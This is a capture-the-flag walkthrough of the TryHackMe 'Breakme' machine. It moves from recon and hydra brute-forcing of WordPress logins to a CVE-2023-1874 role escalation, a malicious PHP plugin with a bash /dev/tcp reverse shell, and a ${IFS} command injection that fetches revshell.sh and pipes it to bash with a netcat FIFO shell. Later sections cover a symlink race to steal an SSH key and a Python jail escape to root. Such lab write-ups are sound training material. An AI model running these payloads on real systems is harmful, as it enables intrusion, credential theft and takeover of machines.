Introduction

Detailed walkthroughs for Breakme CTF challenges on TryHackMe .

Initial Foothold

$ echo "10.10.81.254 certain-doom.thm" >> /etc/hosts

Mappped the ip to domain certain-doom.thm.

rustscan

Lets startetwork with Network scan.

$ rustscan -a breakme.thm -- -sC -sV

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 60 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 8e:4f:77:7f:f6:aa:6a:dc:17:c9:bf:5a:2b:eb:8c:41 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPKq6PCdkc7tlJ9u/XcYjAfE8S8bOYjQe4+3teDY9e24Hfh7Qc3kXDIN52yu+ijvM7ZhcWwwLqikpNzqbhCQq8Ytf60lqNTPvekszBOP4xCJJWm2roGNftNu+IAIWgar7vOhHxLlniLdIt514pbiG2ZPZGxVdBHb7WsVVGUuM+b0AQOH7S9FLXBVqngrlrXUhhBsYtREfZxs4k+AE4N2ajcCEtPcdiLybPXddOD4GgM0nSwpTwlDehZ2NWVETT6ibQjl8T7WGogeIq1oO/LyOjLeu6MKuchp1H5FkIqe+wyZtRhjAsyKjrCGrCV4QM004AtcR/NjHaK7vvEqvRKOYmCmk7IotV/AtAD37GEu+qX0SePWVbZ8DweVIHYBPbJv1nCXkAy+T8eoj1dnvCgKsfz7L5PbkWucfF+gwzGTHwq2n9TrEOy99p6MStNv8ZBkXBY+2moD0ahZA3f6qYuvjlH4uVTCzXnbLxGTK0hdWGvT4PvC0vGh661mmaIhI3Ag0=
|   256 a3:9c:66:73:fc:b9:23:c0:0f:da:1d:c9:84:d6:b1:4a (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPeQGv1A7372SDcT2mRIrMxbQaXJ1RA1ibSYWQ6WJxPH5YZCEQzSTHh5eTrum2k0SvIjmPyLfsoVmmOoPZGaR1g=
|   256 6d:c2:0e:89:25:55:10:a9:9e:41:6e:0d:81:9a:17:cb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAuvMwyWKUHQmG5CUtHi/vQ5F2fhnT8k0jGo18znKuHQ
80/tcp open  http    syn-ack ttl 60 Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We got port 22(ssh) and port 80(Apache Server) opened.

Let’s start with Apache server.

breakme.thm:80
We got default Apache web page in port 80. Lets fuzz the web app.

fuff

$ ffuf -u http://breakme.thm/FUZZ -w /usr/share/wordlists/dirb/big.txt 
________________________________________________

.htaccess               [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 2253ms]
.htpasswd               [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 3269ms]
manual                  [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 330ms]
server-status           [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 221ms]
wordpress               [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 205ms]

We got few interesting results by fuzzing. In that wordpress is very interesting. Lets start with that.

wpscan

$ wpscan --url http://breakme.thm/wordpress/ --api-token $wp_token
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '' \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.27
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://breakme.thm/wordpress/ [10.10.90.220]
Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.56 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://breakme.thm/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://breakme.thm/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://breakme.thm/wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.4.3 identified (Insecure, released on 2024-01-30).
 | Found By: Rss Generator (Passive Detection)
 |  - http://breakme.thm/wordpress/index.php/feed/, <generator>https://wordpress.org/?v=6.4.3</generator>
 |  - http://breakme.thm/wordpress/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.4.3</generator>
 |
 | [!] 4 vulnerabilities identified:
 |
 | [!] Title: WP < 6.5.2 - Unauthenticated Stored XSS
 |     Fixed in: 6.4.4
 |     References:
 |      - https://wpscan.com/vulnerability/1a5c5df1-57ee-4190-a336-b0266962078f
 |      - https://wordpress.org/news/2024/04/wordpress-6-5-2-maintenance-and-security-release/
 |
 | [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in HTML API
 |     Fixed in: 6.4.5
 |     References:
 |      - https://wpscan.com/vulnerability/2c63f136-4c1f-4093-9a8c-5e51f19eae28
 |      - https://wordpress.org/news/2024/06/wordpress-6-5-5/
 |
 | [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in Template-Part Block
 |     Fixed in: 6.4.5
 |     References:
 |      - https://wpscan.com/vulnerability/7c448f6d-4531-4757-bff0-be9e3220bbbb
 |      - https://wordpress.org/news/2024/06/wordpress-6-5-5/
 |
 | [!] Title: WordPress < 6.5.5 - Contributor+ Path Traversal in Template-Part Block
 |     Fixed in: 6.4.5
 |     References:
 |      - https://wpscan.com/vulnerability/36232787-754a-4234-83d6-6ded5e80251c
 |      - https://wordpress.org/news/2024/06/wordpress-6-5-5/

[+] WordPress theme in use: twentytwentyfour
 | Location: http://breakme.thm/wordpress/wp-content/themes/twentytwentyfour/
 | Last Updated: 2024-07-16T00:00:00.000Z
 | Readme: http://breakme.thm/wordpress/wp-content/themes/twentytwentyfour/readme.txt
 | [!] The version is out of date, the latest version is 1.2
 | Style URL: http://breakme.thm/wordpress/wp-content/themes/twentytwentyfour/style.css
 | Style Name: Twenty Twenty-Four
 | Style URI: https://wordpress.org/themes/twentytwentyfour/
 | Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.0 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://breakme.thm/wordpress/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.0'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] wp-data-access
 | Location: http://breakme.thm/wordpress/wp-content/plugins/wp-data-access/
 | Last Updated: 2024-09-18T00:01:00.000Z
 | [!] The version is out of date, the latest version is 5.5.14
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | [!] 3 vulnerabilities identified:
 |
 | [!] Title: WP Data Access < 5.3.8 - Subscriber+ Privilege Escalation
 |     Fixed in: 5.3.8
 |     References:
 |      - https://wpscan.com/vulnerability/7871b890-5172-40aa-88f2-a1b95e240ad4
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-1874
 |      - https://www.wordfence.com/blog/2023/04/privilege-escalation-vulnerability-patched-promptly-in-wp-data-access-wordpress-plugin/
 |
 | [!] Title: Freemius SDK < 2.5.10 - Reflected Cross-Site Scripting
 |     Fixed in: 5.3.11
 |     References:
 |      - https://wpscan.com/vulnerability/39d1f22f-ea34-4d94-9dc2-12661cf69d36
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33999
 |
 | [!] Title: WP Data Access < 5.5.9 - Cross-Site Request Forgery
 |     Fixed in: 5.5.9
 |     References:
 |      - https://wpscan.com/vulnerability/4fe0d330-6511-4500-ac3f-b9bb944b8f0e
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-43295
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/85a33508-71f2-4aa1-8d51-667eb0690fbd
 |
 | Version: 5.3.5 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://breakme.thm/wordpress/wp-content/plugins/wp-data-access/readme.txt

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:06 <==============================================================================> (137 / 137) 100.00% Time: 00:00:06

[i] No Config Backups Found.

[+] WPScan DB API OK
 | Plan: free
 | Requests Done (during the scan): 3
 | Requests Remaining: 22

[+] Finished: Tue Sep 24 19:27:35 2024
[+] Requests Done: 144
[+] Cached Requests: 37
[+] Data Sent: 38.903 KB
[+] Data Received: 28.153 KB
[+] Memory used: 247.871 MB
[+] Elapsed time: 00:00:12

We used wpscan tool to enumarate data from the webserver and got some vulnerability details.

  • WordPress version 6.4.3

    1. WP < 6.5.2 - Unauthenticated Stored XSS
    2. WordPress < 6.5.5 - Contributor+ Stored XSS in HTML API
    3. WordPress < 6.5.5 - Contributor+ Stored XSS in Template-Part Block
    4. WordPress < 6.5.5 - Contributor+ Path Traversal in Template-Part Block
  • WordPress theme: twentytwentyfour Version: 1.0

  • WordPress plugin: wp-data-access Version: 5.3.5

    1. WP Data Access < 5.3.8 - Subscriber+ Privilege Escalation (CVE-2023-1874)
    2. Freemius SDK < 2.5.10 - Reflected Cross-Site Scripting (CVE-2023-33999)
    3. WP Data Access < 5.5.9 - Cross-Site Request Forgery (CVE-2024-43295)

These are the list of vulnerabilities given by wpscan tool. Here the interesting part is vulnerability in plugins specifically WP Data Access < 5.3.8 - Subscriber+ Privilege Escalation (CVE-2023-1874). Lets enumarate more data.

Wordpress site

breakme.thm/wordpress/
Home page of wordpress web app.

Wordpress:SamplePage
Found link to admin login page here.

Admin Login Page
We got Admin login page here.

Login with wrong password
When trying to login with wrong password we are getting The password you entered for the username admin is incorrect. response.

Login with wrong Username/Email Address
When trying to login with wrong username we are getting The username admin1 is not registered on this site. If you are unsure of your username, try your email address instead. response.

We can use this behaviour for bruteforcing the username and password.

$ hydra -l admin -P /usr/share/wordlists/rockyou.txt breakme.thm http-post-form "/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fbreakme.thm%2Fwordpress%2Fwp-admin%2F&testcookie=1:The password you entered for the username"

No valid passwords found using hydra for admin user.

Curl to check Usernames and Passwords

curl http://breakme.thm/wordpress/wp-login.php -d "log=admin1&pwd=admin1&wp-submit=Log+In&redirect_to=http%3A%2F%2Fbreakme.thm%2Fwordpress%2Fwp-admin%2F&testcookie=1" -H "Cookie: wordpress_test_cookie=WP%20Cookie%20check" | grep "is not registered on this site."

curl http://breakme.thm/wordpress/wp-login.php -d "log=admin&pwd=admin&wp-submit=Log+In&redirect_to=http%3A%2F%2Fbreakme.thm%2Fwordpress%2Fwp-admin%2F&testcookie=1" -H "Cookie: wordpress_test_cookie=WP%20Cookie%20check" | grep "The password you entered for the username"

Above curl command to check the username and password.

Valid Users using HYDRA

$ hydra -L /usr/share/SecLists-master/Usernames/Names/names.txt -p testPassword breakme.thm http-post-form "/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fbreakme.thm%2Fwordpress%2Fwp-admin%2F&testcookie=1:H=Cookie\: wordpress_test_cookie=WP%20Cookie%20check:F=is not registered on this site."
[80][http-post-form] host: breakme.thm   login: admin   password: testPassword
[80][http-post-form] host: breakme.thm   login: bob   password: testPassword

We got 2 valid userName admin and bob. Here admin is default username with high privilige account, bob should be the normal user account in the site.
Lets try brute forcing the passwords of those users.

hydra (bob’s password)

$ hydra -l bob -P /usr/share/wordlists/rockyou.txt breakme.thm http-post-form "/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fbreakme.thm%2Fwordpress%2Fwp-admin%2F&testcookie=1:H=Cookie\: wordpress_test_cookie=WP%20Cookie%20check:F=The password you entered for the username"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

[80][http-post-form] host: breakme.thm   login: bob   password: soccer
1 of 1 target successfully completed, 1 valid password found

We got a valid password for user bob and password is soccer.

Bob:Dashboard
Now we can login as user Bob. And in dashboard, we can see the last published blog, no other important information found here.

Bob:Profile
In profile page we can update and customize the user profile.
Note:This account doesn’t have privileged access on WordPress.

Now lets check for useful information from the vulnerabilities found by wpscan.

CVE-2023-1874

Now while looking into the vulnerabilities list which we got from wpscan, we have the same scenario as Wordfence Intelligence:CVE-2023-1874 . Lets try to exploit it.

Wordfence Intelligence:CVE-2023-1874

Lets intercept the profile update request using burpsuite and modify the request.

Appending wpda_role[]=administrator
We appended the wpda_role[]=administrator parameter in the profile update request.

Administrator Dashboard
And now we got the administrator privilege on wordpress account. Lets try to get shell using this.

Reverse shell

Lets have a look at how to get a reverse shell using WP Plugin. Here are some useful pages Hacktricks:PHP plugin , Sevenlayers:PHP plugin and wetw0rk/malicious-wordpress-plugin .

I’m using Sevenlayers:PHP plugin which is working fine for me.

echo "<?php                                                              
/**
* Plugin Name: RevShell Plugin
* Plugin URI:
* Description: RevShell Plugin
* Version: 2.0
* Author: CyberJagadeesh
*/
exec(\"/bin/bash -c 'bash -i >& /dev/tcp/$attacker_ip/4444 0>&1'\");
?>" > shell.php
zip -r malicious.zip shell.php
nc -nvlp 4444

Modified version of Sevenlayers:PHP plugin.

Upload Plugin
Lets add new plugin in WP. Click on upload plugin, select and install the plugin.

Activate Plugin
Activate the plugin to get the reverse shell. (Note: Make sure to have the NetCat listener ready. We will get the reverse shell after a minute of activatting the plugin.)

Got reverse shell here.

python3 -c 'import pty; pty.spawn("/bin/bash")'
^Z #(Ctrl+Z)
stty raw -echo && fg
export TERM=xterm

Got stable shell by running above commands.

Shell as John

lets use linpeas.sh for getting privilege escalation vector.

╔══════════╣ Users with console
john:x:1002:1002:john wick,14,14,14:/home/john:/bin/bash                                                                                                     
root:x:0:0:root:/root:/bin/bash
youcef:x:1000:1000:youcef,17,17,17:/home/youcef:/bin/bash

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports                                                                                
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                                                                            
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:9999          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      - 

╔══════════╣ Analyzing Wordpress Files (limit 70)
-rw-rw-rw- 1 www-data www-data 3436 Aug  9  2023 /var/www/html/wordpress/wp-config.php
define( 'DB_NAME', 'wpdatabase' );
define( 'DB_USER', 'econor' );
define( 'DB_PASSWORD', 'SuP3rS3cR37#DB#P@55wd' );
define( 'DB_HOST', 'localhost' );
define('WP_HOME','http://'.$_SERVER['HTTP_HOST'].'/wordpress/');
define('WP_SITEURL','http://'.$_SERVER['HTTP_HOST'].'/wordpress/');

From linpeas.sh we found some useful information:

  1. 3 users in system - john, youcef and root.
  2. Other than port 80 and 22, we have 2 more ports open that is port 3306 and port 9999 in the system’s local host.
  3. We got a database credentials from /var/www/html/wordpress/wp-config.php, where
    • DB_NAME = wpdatabase
    • DB_USER = econor
    • DB_PASSWORD = SuP3rS3cR37#DB#P@55wd
    • DB_HOST = localhost

pspy64

Using pspy64 for getting running processes.

CMD: UID=1002  PID=537    | /usr/bin/php -S 127.0.0.1:9999 

Have an interesting result.

www-data@Breakme:$ id 1002
uid=1002(john) gid=1002(john) groups=1002(john)

We can see that port 9999 is active using pspy64 binary and it is triggered by user john.

www-data@Breakme:$ curl http://127.0.0.1:9999/

The above command gives us a content of a web page, means a web server is running in localhost of port 9999. And port 3306 is for mysql server.

Lets port forward to make the process simple.

Chisel tunneling

wget https://github.com/jpillora/chisel/releases/download/v1.10.0/chisel_1.10.0_linux_amd64.gz
gzip -d chisel_1.10.0_linux_amd64.gz
mv chisel_1.10.0_linux_amd64 chisel
chmod +x chisel
./chisel server --reverse --port 8000

This command starts a Chisel server in reverse mode on port 8000 in attacker machine.

# in target machine
cd /tmp
wget http://10.10.1.62/chisel
chmod +x chisel
./chisel client 10.10.1.62:8000 R:8080:127.0.0.1:9999

This command sets up a client using the Chisel tool to tunnel traffic from port 8080 on a remote server at IP address 10.10.1.62 to port 9999 on the local machine through a reverse tunnel.

Now we can access port 9999.

Connecting localhost:9999

target- localhost:9999

Here we have 3 functionality to check the IP, User and File.

$ tcpdump -i tun0 icmp                                                                                                                                     
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
15:29:02.694087 IP breakme.thm > attacker_ip: ICMP echo request, id 16534, seq 1, length 64
15:29:02.694148 IP attacker_ip > breakme.thm: ICMP echo reply, id 16534, seq 1, length 64
15:29:03.686421 IP breakme.thm > attacker_ip: ICMP echo request, id 16534, seq 2, length 64
15:29:03.686442 IP attacker_ip > breakme.thm: ICMP echo reply, id 16534, seq 2, length 64

If we gave the valid IPv4 address the system is making ping(ICMP) requests.

Note: No visible response found in the page.

CMD: UID=1002  PID=2195   | sh -c ping -c 2 10.10.10.10 >/dev/null 2>&1 &

Result from pspy64 when checking for IP.

Check User: john
If incorrect username was entered we are getting response as User name not found. Here we are getting visible result.

CMD: UID=1002  PID=2199   | sh -c id john >/dev/null 2>&1 &

Result from pspy64 when checking for USER.

Check File: Passwords.txt
If filename with extension was entered we are getting response as Invalid Filename and if a filename like Passwords was given we are getting result as File not found.

CMD: UID=1002  PID=2214   | sh -c find /opt -name "Passwords" 2>/dev/null

Result from pspy64 when checking for File.

In these 3 functionality Check User functionality is interesting as it’s reflecting the username entered in response.

Special Character ByPass

Check User: <special characters>

While entering all the special characters ~ ! @ # $ % ^ & * ( ) _ + { } | : " < > ? ` - = [ ] \ ; ' , . / in user check functionality, we are getting User ${}|:./ not found.

CMD: UID=1002  PID=2216   | sh -c id ${}|:./ >/dev/null 2>&1 & 

Result from pspy64 when checking for ~ ! @ # $ % ^ & * ( ) _ + { } | : " < > ? ` - = [ ] \ ; ' , . /

It means that there is some filtering happening in backend before precessing the given input. Note: SPACE also being filtered here. Characters which are not filtered were $ { } | : . /

We need to bypass this filtering to get reverse shell as user John.

echo '#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.1.62 1234 >/tmp/f' > revshell.sh
python -m http.server 80

Creating an reverse shell payload in attacker system.

Input_Field_Separators ${IFS}

|curl${IFS}http://10.10.1.62/revshell.sh|bash

The above payload for Check User gives us reverse shell as user John.

Here ${IFS} will be act as SPACE character in UNIX.

$ echo Hello${IFS}World
Hello World

Example usage of ${IFS}.

python3 -c 'import pty; pty.spawn("/bin/bash")'
^Z #(Ctrl+Z)
stty raw -echo && fg
export TERM=xterm

Got stable shell by running above commands.

john@Breakme:~$ cat user1.txt 
Flag1 REDACTED

We got our first flag here.

Shell as Youcef

john@Breakme:/home/youcef$ ls -lah
-rw-r--r-- 1 youcef youcef 3.5K Aug  1  2023 .bashrc
drwxr-xr-x 3 youcef youcef 4.0K Aug  1  2023 .local
-rwsr-sr-x 1 youcef youcef  17K Aug  2  2023 readfile
-rw------- 1 youcef youcef 1.1K Aug  2  2023 readfile.c
drwx------ 2 youcef youcef 4.0K Aug  5  2023 .ssh

Here we have an interesting binary readfile with SUID bit, which will execute as user youcef.

john@Breakme:/home/youcef$ ./readfile readfile.c 
Nice try!

We are not able to read the contents of file readfile.c, might be using conditional statements in the binary.

john@Breakme:/home/youcef$ echo Hello > /tmp/abc.c
john@Breakme:/home/youcef$ ./readfile /tmp/abc.c 
I guess you won!

Hello

If we read a file, getting success message I guess you won!.

Race Condition

#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <assert.h>
#include <sys/stat.h>

int main(int argc, char **argv, char **envp) {

    int n;
    char buf[1024];
    struct stat lstat_buf;

    // Check if the correct number of arguments is provided
    if (argc != 2) {
        puts("Usage: ./readfile <FILE>");
        return 1;
    // Check if the file exists and is accessible
    }else if(access(argv[1],F_OK)){
        puts("File Not Found");
        return 1;
    // Check if the user ID is 0x3ea(1002) john
    }else if(getuid()!=1002){
        puts("You can't run this program");
        return 1;
    }

    // Check if the file name contains "flag" or "id_rsa"
    char *flag = strstr(argv[1], "flag");
    char *id_rsa = strstr(argv[1], "id_rsa");
    // Get the file status information
    lstat(argv[1], &lstat_buf);
    // checks if the supplied file is a SYMLINK
    int symlink_check = (S_ISLNK(lstat_buf.st_mode));
    // checks if the user john can read the supplied file
    int res=access(argv[1],R_OK);
    // will cause a delay
    usleep(0.8);

    // if it does not include "flag" or "id_rsa" or "symlink" or "readable"
    if (flag || symlink_check || res==-1 || id_rsa) {
        puts("Nice try!");
        return 1;
    } else {
        puts("I guess you won!\n");
        // open the file for reading
        int fd = open(argv[1], 0);
        // read and print the file in chunks of 1024 bytes
        assert(fd >= 0 && "Failed to open the file");
        while((n = read(fd, buf, 1024)) > 0 && write(1, buf, n) > 0);
    }
    
    return 0;
}

We have decompiled the binary readme using Ghidhra.

The readfile application exhibits a race condition vulnerability due to the delay introduced by usleep between checking a file’s validity and accessing its contents. This delay allows for a potential race condition where a malicious actor could modify the file’s contents or permissions during this time, leading to unauthorized access or execution of malicious code.

Resources to go through: race-condition-vulnerability|geeksforgeeks , race-conditions|portswigger .

cd /home/john
for i in {1..1000}; do ln -sf /home/youcef/.ssh/id_rsa ourFile; rm ourFile; touch ourFile; done &
for i in {1..100}; do /home/youcef/./readfile ourFile | grep -v "File Not Found" | grep -v "I guess you won!"; done

The Bash script exploits a race condition in the readfile binary by rapidly creating and deleting symlinks to a sensitive file while the application attempts to access it.

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABCGzrHvF6
Tuf+ZdUVQpV+cXAAAAEAAAAAEAAAILAAAAB3NzaC1yc2EAAAADAQABAAAB9QCwwxfZdy0Z
P5f1aOa67ZDRv6XlKz/0fASHI4XQF3pNBWpA79PPlOxDP3QZfZnIxNIeqy8NXrT23cDQdx
ZDWnKO1hlrRk1bIzQJnMSFKO9d/fcxJncGXnjgBTNq1nllLHEbf0YUZnUILVfMHszXQvfD
-------------------------------HIDDEN---------------------------------
hdliLJt0xG6Cb/23Vkh9rG25475k7kk7rh1ZXDNXuU4Z1DvPgh269FyR2BMJ3UUj2+HQdc
0LBpVwh96JbHrLASEwx74+CQq71ICdX3Qvv0cJFjMBUmLgFCyaoKlNKntBqHEJ2bI4+qHq
W5lj7CKPS8r6xN83bz8pWg44bbJaspWajXqgDM0Pb4/ANBgMoxLgAmQUgSLfDOg6FCXGlU
rkYkHSce+BnIEYBnNK9ttPGRMdElELGBTfBXpBtYoF+9hXOnTD2pVDVewpV7kOqBiusnfM
yHBxN27qpNoUHbrKHxLx4/UN4z3xcaabtC7BelMsu4RQ3rzGtLS9fhT5e0hoMP+eU3IvMB
g6a2xx9zV89mfWvuvrXDBX2VkdnvdvDHQRx+3SElSk1k3Votzw/q383ta6Jl3EC/1Uh8RT
TabCXd2Ji/Y7UvM=
-----END OPENSSH PRIVATE KEY-----

We got the id_rsa ssh key of user youcef. When tried to connect network as user youcef, system requesting for password. We need to crack the password of id_rsa key.

ssh2john

ssh2john id_rsa > id_rsa_hash

Getting the decryption hash using ssh2john.

john id_rsa_hash --wordlist=/usr/share/wordlists/rockyou.txt
a123456          (id_rsa)     

Now we got the password for id_rsa key.

youcef@Breakme:~$ cat /home/youcef/.ssh/user2.txt
flag2 REDACTED

We got our second flag here.

Shell as root

youcef@Breakme:~$ id
uid=1000(youcef) gid=1000(youcef) groups=1000(youcef)
youcef@Breakme:~$ sudo -l
Matching Defaults entries for youcef on breakme:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User youcef may run the following commands on breakme:
    (root) NOPASSWD: /usr/bin/python3 /root/jail.py

We can run /usr/bin/python3 /root/jail.py in the context of root user.

youcef@Breakme:~$ sudo /usr/bin/python3 /root/jail.py
  Welcome to Python jail  
  Will you stay locked forever  
  Or will you BreakMe  
>> eval
Illegal Input
>> exec
Illegal Input
>> test string #Error due to space
Illegal Input  
>> import
Illegal Input
>> hello
Wrong Input
>> print('hello')
hello
>> bash
Illegal Input
>> BASH
Wrong Input

Seems like the code is filtering certain functions like eval, exec, <SPACE>, etc,. and UNIX commands like bash.

Python JailBreak

Resources to read: escaping-python-jails | Aneesh Dogra , builtins|Python , Builtins|Hacktricks , python-ctf-cheatsheet/pyjails ,pyjail-cheatsheet#unicode-bypass , Intalic text Generator .

>> print(__builtins__)
<module 'builtins' (built-in)>
>> print(dir(__builtins__))
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']
>> print(dir(__builtins__.__dict__))
['__class__', '__class_getitem__', '__contains__', '__delattr__', '__delitem__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__ior__', '__iter__', '__le__', '__len__', '__lt__', '__ne__', '__new__', '__or__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__ror__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'clear', 'copy', 'fromkeys', 'get', 'items', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values']0

__builtins__ working fine for us, lets investigate how to use this further.

__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('ls')

We can use the above command to list the files in root directory.

>> __builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('ls')
Illegal Input
>> __IMPORT__                                                                                       
Wrong Input
>> lower
Illegal Input

So, the error is from the lower. Lets use some other method to change its CASE.

>> __builtins__.__dict__['__IMPORT__'.swapcase()]('OS'.swapcase()).__dict__['SYSTEM'.swapcase()]('ls')
readfile  readfile.c
>> __builtins__.__dict__['__IMPORT__'.swapcase()]('OS'.swapcase()).__dict__['SYSTEM'.swapcase()]('id')
uid=0(root) gid=0(root) groups=0(root)

By changing .lower() to .swapcase() we are able to execute the command as root user.

__builtins__.__dict__['__IMPORT__'.swapcase()]('OS'.swapcase()).__dict__['SYSTEM'.swapcase()]('BASH'.swapcase())

We got the shell as root user here.

cat /root/.root.txt
flag3 REDACTED

We got our last flag here.

Alternatives

Username and Password enumaration using wpscan

